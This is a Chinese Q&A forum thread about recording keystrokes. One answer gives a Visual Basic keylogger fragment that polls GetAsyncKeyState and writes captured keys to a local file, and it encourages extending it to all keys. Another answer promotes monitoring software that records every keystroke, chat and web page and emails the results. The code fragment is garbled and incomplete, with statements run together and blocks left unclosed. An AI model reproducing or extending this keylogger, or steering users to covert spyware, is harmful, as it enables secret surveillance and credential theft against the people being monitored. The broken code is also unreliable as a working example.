给你个小例子,比如要记录是否按了a键,并且在按enter键后把键盘记录写入D:\1.txt Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integerdim s as stringsub OK()Open "d:\1.txt" For Output As #1
Print #1, s
Close #1end subPrivate Sub Timer1_Timer()X = GetAsyncKeyState(65)
If X = -32767 Then
s = s + "A"X = GetAsyncKeyState(13)
If X = -32767 Then
Call OK
Unload Me你可以完善这段代码,让timer控件记录所有键盘上的键,不明白可以再问我
这个也太麻烦了,键盘记录,我建议您可以下载电脑监控专家试试。
1、电脑监控专家可以将电脑操作过中的所有步骤和细节以邮件方式或者实时截图方式并保存在指定的文件夹中;
2、不论是电脑中文件使用编辑,应用程序或软件使用进程还是操作时的每一个步骤;
3、不论是键盘上的每一个文字符号输入,还是桌面屏幕上的每一个聊天窗口或浏览网页,所有这些活动都将在文件中一一再现 。
你可以到百度上搜索电脑监控专家下载试用解决您的这个问题。
我可以帮你 联系798897723